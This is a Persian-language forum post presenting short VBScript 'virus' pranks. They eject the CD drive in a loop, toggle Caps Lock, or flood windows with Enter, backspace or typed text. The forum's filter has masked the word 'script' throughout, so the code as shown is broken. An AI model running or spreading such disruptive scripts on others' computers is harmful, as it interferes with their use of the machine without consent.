اطلاعیه

Collapse
No announcement yet.

ویروس های vbs

Collapse
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • ویروس های vbs

    تو این تاپیک کلیه ی های ویروس هایی که با Visual Basic ******ing Edition در Wscipt با استفاده از Notepade ساخته میشه رو معرفی میکنیم .


    فایل ها با نام name.VBS ذخیره بشه

    برای از کار انداختن اونها می تونید W****** را در Taskmgr را End نمایید .

    =======================================
    =======================================
    =======================================

    این ویروس میاد هر 5 ثانیه یک بار سی دی رم رو باز میکنه

    کد:
    [LEFT]
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    w******.sleep 5000
    loop
    [/LEFT]
    ---------------------------------
    این ویروس میاد چراغ Caps lock رو روشن خاموش میکنه

    کد:
    [LEFT]
    Set wshShell =w******.CreateObject("W******.Shell")
    do
    w******.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop
    [/LEFT]
    -----------------------------------

    این نوع ویروس ویندوز رو دیوانه میکنه رو یاهو هم کر میکنه pm های سریع میده

    کد:
    [LEFT]
    Set wshShell = w******.CreateObject("W******.Shell")
    do
    w******.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    [/LEFT]
    کد:
    [LEFT]
    MsgBox "Let's go back a few steps"
    Set wshShell =w******.CreateObject("W******.Shell")
    do
    w******.sleep 100
    wshshell.sendkeys "{bs}"
    loop[/LEFT]
    ---------------------------------------

    این ویروس کلمه ی BHG رو تو pm یاهو و یا Notoad و Word و ... می نویسه کلا

    کد:
    [LEFT]
    Set wshShell = w******.CreateObject("W******.Shell")
    do
    w******.sleep 100
    wshshell.sendkeys "BHGl."
    loop[/LEFT]
    ----------------------------------------------

    ======================================
    گویا کلمه ی S C R i P T فیلتره نگید اینا کار نمی کنه ویرایش کنید
    Last edited by l4tr0d3ctism; 06-30-2012, 02:10 AM.
    ...
Working...
X